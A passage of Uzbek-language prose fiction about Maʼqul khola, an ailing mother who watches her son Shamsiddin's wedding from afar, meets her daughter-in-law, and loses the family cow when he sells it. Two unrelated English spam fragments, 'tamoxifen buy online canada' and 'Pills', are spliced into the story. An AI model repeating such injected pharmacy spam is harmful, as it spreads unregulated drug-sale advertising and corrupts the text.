барибир боласининг тўйини кўролмаслик  алам қилди унга, айниқса, куннинг иккинчи ярмида безовталиги ошиб, ўзини қўярга жой тополмай ҳали  кўчага чиқди, ҳали уйга кирди. Мактабдан қайтган Меҳри онасининг ҳолатини кўриб аввалига дарди қўзғаяпти, деб хавотирга тушди, аммо кейин сездики, унга тўйга бормагани таъсир этган. Меҳри онасининг қўлидан ушлаб уйга олиб кирди-да, чалғитиш учун телевизорни қўйди. Маъқул хола телевизорга қарамади ҳам, тиззасига тирсакларини суяб кафтларини пешонасига  тираганича маъюс ўтирди. –Қизим, – деди бир пайт Меҳрига. – Мабодо акангга инсоф кириб, мени чақиртирмасмикин? Балки амакинг одам юборар, ҳеч кимга сездирмай  узоқдан томоша қилардим, ўғлимнинг куёв бўлганини кўргим келяпти. Меҳрининг онасига раҳми келди. Чиқмаган жондан умид, деб шуни айтадилар-да, ҳали ҳам тўйдан умидвор экан. –Она, юринг, тўйга ўзим олиб бораман, – Шу топда қўрқув ҳисси Меҳрини тарк этган, фикри-зикри онасини қувонтириш эди. –Қўй, тўй бузилмасин мени кўрса акангнинг кайфияти тушади. –Тўй бузилмайди. Акамга кўринмай бир четда ўтирамиз. –Йўқ, бормайман. Маъқул хола бир оз уйланиб турди-да, соатга қаради. –Ҳадемай келинга боришади,  соат  учдан ўтибди. У энди ёш боладай йиғлай бошлади, Меҳри онасини қандай овутишни билмай қўшилиб йиғлади. Она-бола узоқ йиғладилар, ниҳоят Маъқул хола ўзига келди. –Мени деб сен ҳам тўйдан қолдинг, боришинг керак эди, Малика момонгни чақириб ўтираверардим. –Боргим келгани йўқ, она. Меҳридаги тўйни, янгасини кўриш иштиёқи онасига бўлган меҳри олдида тумандай тарқаган, унинг  учун онадан олдинда турадиган нарсанинг ўзи йўқ эди. Кутилмаганда Маъқул хола шитоб билан ўрнидан турди-да, ошхонага ўтди.  Ўчоққа олов ёқиб, тушда пиширган овқатини иситди. Меҳри хавотирланиб унинг ортидан борди. Овқат исигач, иккита косага сузиб, уйга олиб кирди. –Қорнингни тўйдириб ол, бир жойга борамиз,–деди у. –Қаёққа борамиз? –Кейин биласан, овқатингни ич. Она-бола овқатланишгач, дарвозани қулфлаб, йўлга тушишди. Атрофга оқшом қўна бошлаган, Меҳри шахдам қадам ташлаб кетаётган онасидан ортда қолмаслик учун тез-тез юрарди. –Қаерга боряпмиз, она? – сўради у. –Савол бермай юравер. Улар қишлоқ кўчаларини ортда қолдириб, катта асфальт йўлга чиққач, бир оз юриб чапга бурилганларида  қоронғилик қуюқлашганди. Кўп ўтмай қулоқларига мусиқа садолари чалинди. –Она, тўйга боряпмизми? –  сўради Меҳри кўнгли ниманидир сезиб. –Ҳа, лекин ичкарига кирмаймиз, узоқроқдан томоша қиламиз. Энди мусиқа садолари аниқ эшитилди. Меҳри амакисининг уйига сира келмаганди, шу ерда экан-да, деб қўйди. Ниҳоят ёруғ тушиб турган дарвоза  олдида   одамлар кўриниб, ғала-ғовур эшитилди. –Амакингнинг ҳовлиси ўша ерда,–деди Маъқул хола одамлар тўпланиб турган жойга ишора қилиб. –Қоронғида бизга эътибор беришмайди, юр, сал яқинроқ борамиз. Улар тўйхонага яқинлашдилар, афтидан ҳамманинг нигоҳи дарвоза яқинига тўхтаб турган машинага қадалган, келин келганди. Сал ўтмай эгнига тўн, бошига дўппи кийиб, белига белбоғ бойлаган  Шамсиддин кўринди. –Болагинамдан ўргилай, қара, куёв бўлди, –Маъқул хола йиғлаб юборди. –Аллоҳимга шукур, вақтида етиб келибмиз Бир зумда дарвоза олдида гулхан ёқилди. Шамсиддин келинни даст кўтариб, оловдан уч марта айлантирди ва ичкарига олиб кириб кетди. Маъқул хола ҳануз йиғлар, кўзидан ҳам қувонч, ҳам алам ёшлари оқарди. –Она, энди қайтамизми? –сўради Меҳри. –Яна бирпас қарасакмикин. –Ҳовлининг ичи кўринмайди-ку ё тўйга  кирамизми? –Йўқ, кирсак аканг ранжийди, бирпас қўшиқ эшитайлик, кейин кетамиз. Улар ярим соатлар шу ерда туришди. Даврабон тўйни очиб, кимгадир сўз берди, сўнг санъаткорлар хониш қилишди. –Кетдик, –деди ниҳоят онаси Меҳрига. – Кетдик. Энди армон қилмасам бўлади, сенинг қарзингдан қутулдим. – Қанақа қарз, она? – Меҳри савол назари билан Маъқул холага қаради. У жавоб бермади, афтидан Меҳрининг тўйдан қолганини назарда тутаётган эди. Маъқул хола йўл-йўлакай ўзига-ўзи гапириб борди...   ХХХ   Қўчқор қассобнинг икки қизи турмушга чиқиб, ўзидан тинган, Норхол билан ёлғиз ўғли қолганди. Шунинг учун тўйдан кўп ўтмай  бир пайтлар шаҳардан олиб қўйган икки хонали уйини ёшларга берди ва енгил тортди. “Қизларим бировнинг хасми, битта ўғлимга шу ҳовли-жой ҳам етади”, деб ўйлади у. Маъқул холага Шамсиддинга қайнотаси уй бергани ҳақидаги хабарни Бодом етказди. –Икки хонали уй экан, шундоққина шаҳар марказида, менинг ўқишимга яқин, –деди у худди ўзи уйли бўлгандай қувониб. –Аканг хурсандми? – кўнгли негадир ғашланиб савол берди Маъқул хола. –Акамнинг хурсандлигини ҳам, хафалигини ҳам билиб бўлмайди, доим бир хил – жиддий юради. Лекин янгам жуда яхши, кўнгли очиқ, қўли ҳам.  Сиз талабасиз, деб менга икки марта йўқ деганимга қарамай пул берди. Энди бизнинг уйда турасиз, деб қўймаяпти. –Акамникида турасизми? – сўради Санам. –Ҳа, айтдим-ку, янгам қўймаяпти деб, кийимларимга келдим. –Аканг нима дейди? –гапга аралашди Маъқул хола. –Хотини, келинг, деганидан сўнг акам нима дерди, рози. –Улар ёш келин куёв бўлишса,  сенга нима бор, уялмайсанми? –Уйлари уч хонали экан, биттасини менга беришяпти, бормасам, янгам хафа бўлади, мени фаросатсиз, деб ўйламанг, тил учида айтилган гап билан юракдан айтилганининг фарқига бораман. –Ҳозир кетмоқчимисан? Қачон келасан? –Маъқул холага барибир  Бодомни акасининг уйида яшаши ёқмаётган эди. –Пахтага кетмасак, келаман. –Пахтага боришингдан олдин кел, –тайинлади Маъқул хола. –Опа, бизни ҳам акамникига олиб боринг, янгамни кўриб келамиз, – Боядан бери уларни  тинглаб ўтирган Санам сўз қотди. –Аввал жойлашиб олай, кейин кўрамиз. ...Бодом шу кетганича икки ойдан ортиқ қорасини кўрсатмади, Шамсиддин унинг пахтада эканини айтганди, Маъқул хола ишонмади. –Ёлғон гапирасан, –деди ўғлига. –У пахтада эмас, яшириб қўйибсан, топиб бер. Шамсиддин, сенга гапиришнинг фойдаси йўқ, дегандай жўнаб қолди. Маъқул хола унинг орқасидан  анча жойгача жавраб борди: –Бодом сеникида нима қилади, уйга юбор, бугуноқ қайтариб юбор... Орадан икки ойлар чамаси вақт ўтиб, якшанба куни тушга яқин Бодом бир қиз билан кириб келди. Маъқул хола  ўтирган жойидан туриб кетди, қувонганидан бир пой калишини кийишни ҳам унутиб қизини қучоқлаб олди. –Шунчалик бағри тош бўласанми? –гина қилишга тушди у. – Келмаганингга икки ойдан ошди. –Чўлда пахтага  эдим,  ўзи кеча келдик. –Алдайсан. Сен ҳам акангга ўхшаб ёлғончисан, пахта-махтага борганинг йўқ, акангникида яшириниб ўтирибсан. –Ишонмасангиз ишонманг, –деди Бодом. –Юзимни қорайиб кетганини кўрмаяпсизми?  Ҳамма семирибсан, деяпти, уззукун булка нон билан макарон шўрва ичгандан кейин семираман-да. Сочим ҳам тўкилгани тўкилган, чўлнинг суви ёқмади. –Бу қиз ким? –сўради Маъқул хола. –Дугонам,  бирга ўқиймиз. Бодом сингилларига кўзини қисиб қўйди. Маъқул хола барибир хурсанд эди, қизи билан дугонасини ўтқизишга жой тополмай, ҳали у кўрпачани солади, ҳали бу кўрпачани. –Дугонанг ширингина қиз экан, илгари ҳеч қўрмагандим, – деди Маъқул хола. –Бошқа қишлоқда яшайди, шунинг учун кўрмагансиз. –Қизимжон, ўтиринг, бир пиёладан чой ичинглар,– Маъқул хола Бодомнинг  дугонасига мулозамат кўрсатди. Қиз нима қилишини билмай Бодомга қаради, у аёлнинг илтифотидан ноқулай аҳволга тушган ва кўнгли учун бирпас ўтиришни истаётганди-ю, Бодомдан ўтиб фикр билдиролмаётганди. –Биз кетамиз, қишки кийимларимни олиб чиқ, – Санамга буюрди Бодом. Маъқул хола қанча қистамасин, у ўтирмади, кийимларини олгани заҳоти йўлга тушди. –Бирпас ўтирмади-я, ноинсоф, – деди Маъқул хола унинг ортидан термилиб қоларкан ранжиганини сездириб, – Мени-ку ёмон кўради, лоақал сизлар билан бир пиёла чой ичса бўларди, дугонаси ҳам қуруқ оғиз кетди.. – Она, –Санам секин сўз  бошлади,  – опамнинг ёнидаги дугонаси эмас, янгам. –Янганг?! – ҳайрат билан сўради Маъқул хола. – Қанақасига янганг? –Шамсиддин акамнинг хотини-да. –Қаердан билдинг, Бодом айтдими? –Тўй куни кўргандим, ҳамма, келиннинг юзида нори бор экан, деганди, бир кўргандаёқ танидим, Бодом опам ҳам кўзини қисиб қўйди. – Нега олдинроқ айтмадинг? Маъқул хола ирғиб ўрнидан туриб, уларнинг ортидан чопди ва овозининг борича чақирди: –Бодом! Бодом! Қайт! Қайтинглар! Янгангга атаганим бор! Қайтинглар! Маъқул хола чопиб бораверди, олдин секин, кейин тез югурди. Келини бир қайрилиб қараганди, Бодом унинг қўлидан тортқилаб кетди, қишлоқнинг катта йўлига чиқишгач, автобусга ўтириб олишди. Маъқул хола  маъюс  тортиб ортига қайтганида қизлари дарвоза олдида кутиб турарди. У ҳеч нарса демай ичкарига кириб, сандиғини очди ва келинимнинг кўрманасига, деб атаб қўйган чиройли ялтироқ матони олиб ғижимлаб ташлади, аламини олмоқчи бўлиб, икки учидан икки томонга тортди, мато чўзилди-ю, йиртилмади. Жаҳлига чидолмаган Маъқул хола  қайчи билан қийма-қийма қилди ва қийқимларни тандирга ташлаб, ёқиб юборди. Болаларининг бирортаси унга қаршилик кўрсатмай, жимгина кузатиб турди. Қийқимлар жизғанак бўлгач, Маъқул хола ерга ўтириб олди-да, уввос тортиб йиғлади: – Эй, худо! Менинг гуноҳим нима? tamoxifen buy online canada                                                                                              ХХХ   Шу воқеадан беш-олти кун ўтдими, Маъқул хола аниқ эслолмайди, ҳовлидаги тезакларни ёмғир ёғса ивиб қолмасин, деб сомонхонанинг бир четида жойлаётган эди, дарвоза тақиллиб қолди ва уй эгаларининг чиқишини ҳам кутмай тугун қўтариб олган икки аёл кўринди. Маъқул хола дарвозага яқинлашгач, қирқ-қирқ беш ёшлар чамасидаги аёл билан бирга тунов куни Бодом дугонам деб таништирган қизга кўзи тушди. Бирданига Санамнинг, опам билан келган қиз янгам бўлади, деган сўзларини эслади ва миясидан, Шамсиддиннимнинг хотини, келиним, деган фикр ўтди-да, юраги гуп-гуп уриб, нима қилишини билмай қолди. Ўтган сафар келганида у сочларини турмаклаб, бошяланг бўлиб олганди, ҳозир келинлиги билинган, чиройли пушти ранг рўмол боғлаган, эгнидаги гулдор ялтироқ кўйлаги ҳам ўзига ярашган, тунов куни этибор бермаган экан, келинчакнинг юзидаги билинар билинмас сепкили ҳам унга чирой бериб турар, ўнг чаккасида нори бор эди. Маъқул хола иккиланди: бу келинчак Санам айтганидай Шамсиддиннинг хотиними ё бегонами? Санам  адашган бўлса-чи? – Сиз ... Сиз ... Маъқул хола дудуғланди, келиниммисиз, демоқчи эди, саволи бемаънидай туюлиб, тилини тишлади, унинг ҳолатини келинчак ҳам, ёнидаги аёл ҳам сезди, ўртадаги ноқулайликка барҳам бериш мақсадида нотаниш аёл сўз бошлади. –Бу ўғлингизнинг турмуш ўртоғи, келиниингиз бўлади. Исми Норхол. –Келиним... Менинг келиним... Тушимми, ўнгимми? Маъқул хола ўзини йўқотиб қўйди, сўнг қучоғини очиб, келинини бағрига босди, пешонасидан ўпиб, дуо қилди. –Барака топинг, кам бўлманг, касал қайнонангизни сўраб келибсиз, сизни худо сўрасин. Мени одам ўрнида кўрганингиз учун раҳмат сизга. Минг раҳмат. –Сизни йўқлаб келиш унинг бурчи, – деди келинчакнинг ёнидаги аёл. – Баумид ўғил ўстиргансиз, келин туширгансиз, аллақачон йўқлаши керак эди. Ёшлигига бориб ўтган сафар сизни хафа қилиб қўйибди, дадаси роса қойидилар. Сизларни таништирай, ҳам узр сўрасин, деб олиб келдим. –Сиз келинимнинг... –Онаси бўламан, –Маъқул холанинг сўзини давом эттирди аёл. –  Қудангизман. –Қудам... Келинимга ўхшар экансиз... Икки қуда қайтадан қучоқлашиб қўришдилар. –Тунов кунги воқеа учун келинингизни кечиринг – деди аёл. –Қайси воқеа? Ҳа, ҳа, эсладим. Келинимдан хафа эмасман, келинимнинг айби йўқ, фақат танимаганим учун ўзимдан, танитмагани учун Бодомдан жаҳлим чиқди,  қаттиқ хафа бўлдим, Бодомдан хафа бўлдим. Маъқул хола меҳмонларни уйга бошлаб, кандил дастурхон тўшаркан, Бодомдан хафа эканини тинмай  такрорларди: –У менга билдирмади, келинингиз демади, хафа қилди, орқасидан югурдим қайрилиб ҳам қарамади, келин қарагандилар, қўлларидан судраб олиб кетди, у мени хафа қилди. –Келинингиз сиз учун атайлаб сомса пиширибди, иссиққина, еб олинг, –қуда аёл гапни бошқа мавзуга бурди. –Биз ҳозиргина едик, аччиққина чой бўлса, бирпас гурунглашиб ўтирамиз, бошқа ҳеч нарса керакмас. Кекса қайнонаси ҳузурида меҳмондай ўтириш ноқулай эди, келинчак ўрнидан қўзғалди. –Мен чой дамлаб келаман. –Сиз бугун меҳмонимсиз, болам,– Маъқул хола йўл бермади унга. –  Ўтиринг, насиб этса, тўйларда хизмат қиласиз. Қайнонангизни касал деб эшитгандирсиз, аммо бақувватман, ўнта ёшнинг ишини бажаришга кучим етади. Келинчак онасига қаради, у ўтирақол, дегандай ишора қилди. Маъқул хола чой дамлашга чиқиб кетди. –Одамлар оёғи билан эмас, оғзи билан юради, –аёл қизига қаради. –Қайнонанг жуда улар айтганчалик эмас, гаплари яхши-ку. Девдай хотин экан, билаклари устундай.  Қизи келиб келинини дугонам, деб таништирганидан кейин соғ одам ҳам жинни бўлади-да, ҳали ҳам шўрлик иродали экан. –Ҳар замонда дардлари тутиб қоларкан, кўпинча ўзларига ўзлари  пичирлаб юрарканлар. Шамсиддин ака, баъзан онам шунақа ақлли гапирадики, соғлар ҳам ундай фикрламайди, дейдилар. –Худо берган дард, киши олтмишга киргунча остига қараши керак. Ҳар кимнинг охирини берсин, ўзимиз охирида нима бўлишимиз, ёлғиз  худога аён.  Қайнонангни ҳам бир пайтлар жуда яхши аёл эди, дейишади.   Маъқул хола баркашда қанд-қурс, чой кўтариб келиб, она-боланинг суҳбати бўлинди. – Қуда, овора бўлманг, биз қайтамиз, шунчаки бир кўриб кетайлик, дегандик. –Овораси борми, от билан туя сўйган бўлсайканман. Билганимда сал бошқача кутиб олардим. –Ҳаммаси жойида, келинг, ўзингиз ҳам ўтиринг. –Бўлди, ўтираман,  аксига олиб қизлар ҳам мактабда эди. Икки қуда анчагача у ёқ, бу ёқдан гаплашиб ўтиришди. Маъқул хола овқатга уннамоқчи бўлганди, қудаси қўймади. –Исрофгарчиликнинг кераги йўқ, қудажон. Сиз билан биз энди бегона эмасмиз, сомсадан ҳам тузук емадингиз, шундай турибди. Биз энди борайлик, –Бирпас ўтирганларингда қизлар келишарди, янгаларини кўриб жуда қувонишарди. –Бундан кейин келаверади, ўзингиз ҳам  уларни олиб боринг. Албатта, боринг. Маъқул хола келинига олиб қўйган матони шошқалоқлик билан йиртиб ташлаганидан афсусланди, келини келганидан бўён кўрманага нима бераман, деб ўйлагани ўйлаган, аксига олиб бисотида тузукроқ матоси йўқ, бозор яқин бўлса экан, югуриб бирор нарса олиб келса, йўқса куни кеча пенсия олган, пули бор. Пенсияси эсига тушиши билан Маъқул холанинг юзи ёришди, хаёлига келган фикрдан қувониб, югуриб уйга кирди-да, пул олиб чиқди. –Бу сизга, – деди келинининг қўлига пулни тутқазаркан, – ўзингизга бирор нарса оласиз. –Йуғ-е, керакмас, –  Норхол хижолат бўлганини яширмади.  – Керакмас. –Унақа қилманг, қуда, пули бўлса, у сизга бериши керак. –Олмасалар хафа бўламан, кўз очиб кўрган биринчи келинимни шундай жўнатаманми? Бу пул табаррук, пенсиямдан, худо сизни ҳам пенсияга етказсин, мендай қариб юринг. Ноилож қолган Норхол пулни олди. Улар кетгач, мактабдан қайтган қизларига келини ва қудаси ҳақида тўлиб-тошиб гапириб берди Маъқул хола.   ХХХ Pills   Болалари улғайган сари Маъқул холанинг ташвиши кўпайди. Олган нафақаси рўзғордан ортмайди, яхши ҳамки, ҳовлиси катта, картошка, пиёз экади, эри раҳматли оғил қуриб кетган, ўшандан бўён уйларидан сигир аримайди. Маъқул хола ҳар эрта молини подага қўшиб,  даладан ўт ўриб келади-да, қуритиб хашак қилади ва сомонхонанинг бир четига бостириб қўяди. Буғдой ўримидан кейин ғаллазорларда қолиб кетган сомонларни  йиғиб келишни ҳам унутмайди. Ҳар тугул болаларининг бири бўлмаса бири унга кўмаклашади, озуқа ғамламаса, қишга бориб бир боғ беда фалон пулга чиқиб, қийналиб қолишларини ҳатто кичкина Меҳри ҳам билади. Сигир борлиги учун рўзғордан сут-қатиқ узилмайди, пулни ушлаб туради ва муҳими, ҳар йили туғиб беради. Пулга зарурат туғилса, Маъқул хола бузоқни сотади. Бодом техникумни битирар йили Ғайбиддин мактабни битирди. Шамсиддин уни Тошкентга олиб бориб, қурилиш техникумига жойлаб қўймоқчи бўлди, кетишидан бир кун олдин онасининг уйига кириб, ҳе йўқ, бе йўқ, ғунажиннинг ипини еча бошлади. –Ҳа,–деди югуриб келган Маъқул хола. –Нима қиляпсан? –Ғунажинни сотаман харидор топдим. –Нега сотасан? Ҳали жуда кичик, индама, бир оз боқайлик, кейин сотамиз. –Ўғлингни Тошкентга олиб бориб, ўқишга жойлайман, Тошкентга пиёда бориб бўлмайди, менга пул керак. Маъқул хола бўшашиб қолди, олиб борма, деса уни билмайди, олиб бор, деса ғунажинни кўзи қиймайди, бирпас иккиланиб турди, унинг ақли тиниқ пайт эди, Шамсиддинга қарши бориб ҳеч нарсага эришмаслигини тушунди. –Унда ўзинг биласан, –деди бўшашиб. –Бир оз боқсак, яхшироқ пулга сотардик. Майли, ҳадемай сигир туғса, ғунажиннинг ўрнини босиб кетади. Маъқул хола Шамсиддиннинг укаларига яхшилиги кўплигини билади: Бодом диплом олди, катта шаҳарда ўқиб, катта одам бўлсин, деб Ғайбиддинни Тошкентга техникумга киритиш ҳаракатида юрибди, ёлғиз ўзи ишласа, хотини ёш боласи билан ишлолмаса, қандоқ ҳам етказсин,  мен битта ғунажинни қизғаниб ўтирибман,  деб ўзини ўзи койиди ва ғунажин воқеасини унутди.  Бироқ орадан икки-уч ҳафта ўтиб рўй берган кўнгилсизлик Маъқул холани яна гангитиб қўйди, ўша куни у болаларини мактабга жўнатиб, ҳовлида у-бу юмушларни бажараётганди, кутилмаганда кириб келган Шамсиддинга кўзи тушиб қувончи ичига сиғмади, уни Тошкентдан қайтганидан бўён кўрмаганди. –Укангни қўйиб келибсан, қаерга жойлаштирдинг? –сўради ўғлидан. –Ётоқхонага.  Бир йўла имтиҳонларини топшириб қайтади. –Ким билан турибди? Пули борми? Овқатини қандай пиширади? –Қўрқма, боланг оч қолмайди, –деди Шамсиддин ва оғил томон ўтиб, сигирнинг арқонини еча бошлади. –Нима қиляпсан? Сигирни қаёққа олиб борасан? Шамсиддин  лом-мим демай ишини қилаверди. –Сигирга тегинма, оғзимизни оқартириб турган битта-ю битта шу мол қолган, эрта-индин туғса, сут-қатиқ ичамиз, укаларингга раҳминг келсин. –Сотмоқчиман, менга пул керак –Шамсиддин сигирни дарвоза томонга  етаклади. Ўғлининг гапидан Маъқул хола қаҳрланди ва йўлини тўсди. –Сотмайсан! Сотмайсан! Сотгани қўймайман! Ғунажинга индамагандим, сигирни сотгани қўймайман! –Йўлимдан қоч! –Шамсиддин онасини силтаб ташлади ва кетаверди. Маъқул хола йиғлаб, Шамсиддиннинг қўлидан ушлади, у энди ялинишга тушди: –Жон болам,  сигирга тегинма, озроқ сабр қилсанг туғади, бузоғини сотасан. –Сабр қилишга вақтим йўқ, Бодомни эрга беряпман, менга пул керак. Сигирни сотмасам, унга қаердан сеп олиб, тўйни қандай ўтказаман? Энди мени тушундингми? Маъқул хола  тушунди, нима қиларини билмай ҳовлининг тўрт томонига умидвор термилиб, сотишга арзигулик буюм излади-ю, ҳеч нарса тополмади, бисотида сигирдан бошқа ҳеч вақоси йўқ эди. У ўғлига бас келолмаслигини билиб, секингина сўради: –Бодомни кимга турмушга беряпсан? Синашта жойми? Шамсиддин онасининг саволини эшитмагандай сигирни эргаштириб кўчага чиқиб кетди... Болалар мактабдан қайтиб, уйда ҳеч ким йўқлигидан ажабланишди, негаки, бу пайтда оналари уларни кутиб ўтирган бўларди. Санам онасини қидириб кўчага чиқди, сўнг Малика момонинг ҳовлисига ўтди. –Онангни излаяпсанми? – сўради момонинг катта набираси. – Ҳа, дарвоза очиқ, аммо ҳеч ким йўқ. – Онангни касали қўзғаганга ўхшайди.  Биринчи бригаданинг шийпони олдида кўрдим,   кимнидир қарғаб кетяпти. Санам уйига келиб, синглисига воқеани айтганди, Меҳри маъюсланиб қолди, бу пайтда молхона томонга ўтган  Хайрулла, оғилда сигир йўқ, деб келди. Меҳри билан Санам ўша томонга югурдилар, бир пайтлар беш-олтита мол боқилган оғил ҳувиллаб ётар, бир чеккада сигирларининг қозиғи сўппайиб турарди.  Санам Меҳрига қаради, Меҳри Санамга. Ҳар иккиси  улар йўқлигида нимадир бўлганини фаҳмлашди. –Бу акамнинг иши, – пичирлади Меҳри. –Билмасдан гапирма, –уни койиди Санам. –Акамдан бошқа ҳеч ким бу ишни қилмайди, – сўзида туриб олди Меҳри. Улар кўчага чиққанларида Хайрулла икки ҳовли наридаги қўшнилари Ваҳоб ака билан суҳбатлашаётган экан. –Амаки,  оғилдан сигиримиз ғойиб бўлибди, эрта-индин туғади деб подага қўшмаётгандик, мабодо кўзингиз тушмадими? –Сигирни аканг олиб кетаётганини кўргандим, –деди Ваҳоб ака. – Сотмоқчига ўхшайди. Меҳри, айтмадимми, дегандай опасига қаради ва ҳафсаласи пир бўлиб ҳовлига кирди, Шамсиддиннинг қилмиши Маъқул холага ёмон таъсир қилган кўринади, ахир бутун оила аввал ой санаб, кейин кун санаб сигирнинг туғишини кутаётганди. –Акам нега бунақа, опа? –жаҳл билан сўради Меҳри. –Бир ой олдин бузоқни сотганди, энди сигирни. Ишқилиб онамни урмаган бўлсин-да. Меҳрининг кўнглига ғулғула тушди, Санам қанчалик қистамасин, тушлик ҳам қилмай, кўчада ўтирганича уйга кирмади, онасини кутди. Кечга яқин Маъқул хола қайтди, болаларининг бирортаси чурқ этиб сигир хақида сўрамади, анчадан кейин ўзи  ёрилди: – Аканг сигирни олиб кетди, опангни эрга берармиш. Кимга бераётганини айтмади ҳам. Бодомнинг тўйи ҳам менга насиб қилмайдиган кўринади. У кўзларини юмганди, икки томчи ёш думалаб тушди...   ХХХ   Маъқул хола шу хонадонга келин бўлиб тушганидан бўён ҳовлиларидан сигир аримаган, эри раҳматли пулга муҳтож пайтлари молларини сотганида ҳам “кўнарги”га деб ҳеч бўлмаса бузоқча қолдирарди. Молларга ҳали ем бериб, ҳали сув бериб, дам соғиб, дам тагини тозалаб вақтининг қандай ўтганини  сезмасди у. Энди эса... Баъзан молининг сотилгани хаёлидан кўтарилиб ем берар вақти ирғиб ўрнидан туради-да, молхонага киради ва бўм-бўш қозиқни кўриб юраги “шув” этиб кетади. Шунга қарамай Шамсиддинни айбламайди, укаларини ўқитяпти, синглисининг бошини топиб узатяпти, шунисига ҳам шукур, худо тақдир қилган куни яна сигирли бўламиз, деб ўзини ўзи овутади. Кўп ўтмай Маъқул хола Бодом ҳақидаги маълумотларни билиб олди: у янгасининг  қариндошига турмушга чиқаётган экан. Кўнглидан ўтгани бўлди: унга қизининг тўйида қатнашиш ҳам буюрмади, Бодом Шамсиддиннинг уйидан чиқди. Маъқул хола  энди бундай кўргуликларга кўниккан ва  ўзини тутиб олганди. Одатдагидай Меҳри опасининг тўйига ҳам боришдан воз кечди, онасини ёлғиз қолдирмади. Санам билан Хайрулла тўйдан бир кун олдин акасиникига кетиб, икки кундан кейин қайтишди. –Опамнинг ҳовлиси жуда кичик экан, – деди Санам тўй таассуротларини айта туриб. – Лекин уйлари чиройли таъмирланган, опамга болохонани беришибди. –Илоё бахтли бўлсин, –Маъқул хола қизини дуо қилди. – Бодом мени ёмон кўрсаям бир жоним унинг ичида. –Акамнинг ўғилчаси катта бўлиб қолибди, – сўзида давом этди Санам. – Бирам ширинки, қараб тўймайсиз, янгам, бирор кун  сизларникига борамиз, дедилар. Меҳри опасини нуқиб қўйди, набираси ҳақида эшитган Маъқул хола кўзларини бир нуқтага қадаб қолганди. У Шамсиддиннинг хотинидан жуда миннатдор эди, келини вақти-вақти билан бирор бир тансиқ таом пишириб уни йўқлаб турарди, бироқ  фарзанд кўрганидан бўён келгани йўқ. Келинининг кўзи ёриганини эшитгач, ўзи бормасаям чиройли кийимча солиб суюнчи юборди. Ўшанда Меҳри онасини, сиз ҳам юринг, деб кўп қисталанг қилди, аммо унамади, унга ўз уйи оловдай кўринар, бошқа жойга боришни хоҳламасди. Унга: “Бормайман, ўзинг боравер, кимга керак бўлсам шу ерга келсин”, деди.  Меҳри онасига гапирганига пушаймон еди, у қизлари кетгунича ўзига ўзи гапириб юрди: “Керак бўлса ўзи келсин, бормайман, у мени уради”. Онасининг гаплари ўзгарганини кўрган опа-сингил индамай акасиникига кетишди. Ҳозир Санамнинг сўзларини эшитиб юраги тўкилиб кетган Маъқул хола ҳали сира кўрмаган набирасини соғинаётганини ҳис этди. –Болаларим ўзларидан кўпайишсин,  ҳеч бирининг тақдири меникига ўхшамасин. Унинг кўзларида ёш айланди. Шу билан Бодомнинг тўйи ҳақидаги гапга нуқта қўйилди ва Маъқул хола ўрнидан туриб, молхонага қараб кетди. Меҳри билан Санам бир-бирларига маъноли қарашди, Шамсиддин сигирни олиб кетганидан бўён у беихтиёр молхонага кириб,  ўзига-ўзи гапириб ўтирадиган одат чиқарганди. Бир гал Меҳри уни оғилда тимискиланиб юрганини, бир боғ бедани охурга ташлаб, ол, жонивор, е, қорнинг очқагандир, деяётганини эшитиб, акасидан ранжиди. Сигир онаси учун катта эрмак эди, моллари сотилгач, унинг кўчага чиқиб кетиши кўпайди ва эс-ҳуши жойида пайти фақат сигир сотиб олиш ҳақида гапирадиган, фақирона рўзғоридан қисиб, нафақа пулларидан бир қисмини мол сотиб олиш учун яшириб қўядиган бўлди. Онасининг аҳволини кўрган опа-сингил унга ёрдам бериш илинжида жияк тикишга киришди, Санам билганларини Меҳрига ўргатди ва шу тариқа азоб-у машаққат билан икки йил деганда икки юз сўм пул йиғишди. –Она, 200 сўм пулга сигир берадими? – сўради Меҳри ундан. –Беради, албатта, беради. 200 сўм катта пул, ҳазилми, икки йил йиғдик. Шамсиддин келса, пулни бераман-да, яхшироқ сигир олиб келишини тайинлайман. –Акам қачон келадилар, ундан кўра ўзимиз акамникига борсакчи? –гапга қўшилди Санам. –Йўқ, шунча кутдик, бу ёғига ҳам кутамиз. Уч-тўрт кун ичида келиб қолса, якшанба куни мол бозорига чиқади, келмаса, мол олиш яна бир ҳафта орқага сурилади. Маъқул холанинг нияти холис экан, шанба куни токни хомток қилаётганида Шамсиддин кириб келди. –Акам келдилар! Шамсиддинни орзиқиб кутишаётгани учун Хайриддин бор овози билан қичқириб юборди. –Акам келибди, –Меҳри китоб ўқиётган Санамни турткилади. –Юринг, қараймиз. Бир зумда Шамсиддиннинг атрофида оила аъзолари жамулжам бўлишди. Маъқул хола ток қайчини бир четга  қўйди-да ўғлига яқинлашди. –Тинчликми, бунча тиржаясан? – Шамсиддин Хайруллага қараб гапирди. –Тинчлик болам, тинчлик, – Маъқул хола сўз бошлади. –Қўшнилардан сут-қатиқ сўраш жонимизга тегди, гоҳ беришади, гоҳ беришмайди, баъзан пулга ҳам тополмаймиз. Тишимнинг ковагида сақлагандай бир амаллаб сингилларинг билан бирга икки юз сўм йиғдик.  Эртага якшанба, мол бозорига чиқиб, битта соғин сигир олиб келиб берсанг, дегандим. –Шунақа дегин, унда майли, пулни бер. Маъқул хола ҳовлиқиб рўмолчасига тугиб қўйган пулини чиқариб берди, Шамсиддин санаб кўрди-да, тўғри экан, деб  ортига қайтди. Ҳамманинг оғзи  қулоғида, ахир сигирга етишишнинг ўзи бўлдими? Яхши емай, яхши киймай пул йиғишди,  икки қиз тинмай жияк тикди, ҳатто дунёни сув босса парвосига келмайдиган Хайрулла ҳам аҳён-аҳёнда: “Она, сигирнинг пули қанча бўлди?”, деб сўраб қўяди. Ниҳоят энди орзулари ушаладиган кўринади. Эртаси куни тонг саҳардан Маъқул хола дарвоза олдидаги курсида катта йўл томонга қараб ўтирди,  узоқдан мол етаклаган киши кўриниши билан кўз узмай туради, яқинлашганида бегоналигини билгач, ҳафсаласи пир бўлиб, яна йўлга тикилади. Шу тариқа уч-тўрт қишлоқдоши мол ҳайдаб ўтди. –Абдуҳафиз, – деди у қишлоқнинг адоқроғида турадиган йигитнинг молига ишора қилиб. – Жувонани қанчага олдингиз? –120 сўм, янга. –Шамсиддинга 200 сўм бериб сигир олиб кел, дегандим. Шу пулга яхшироқ сигир берармикин? – Беради, янга, беради. Бугун бозорда мол арзон. Абдуҳафизнинг сўзлари Маъқул холанинг кайфиятини кўтарди, хаёлида ўғли она-бола сигир етаклаб келаётгандай, шу бугундан сут соғишга киришаётгандай қувонди. Аммо тушдан ўтди 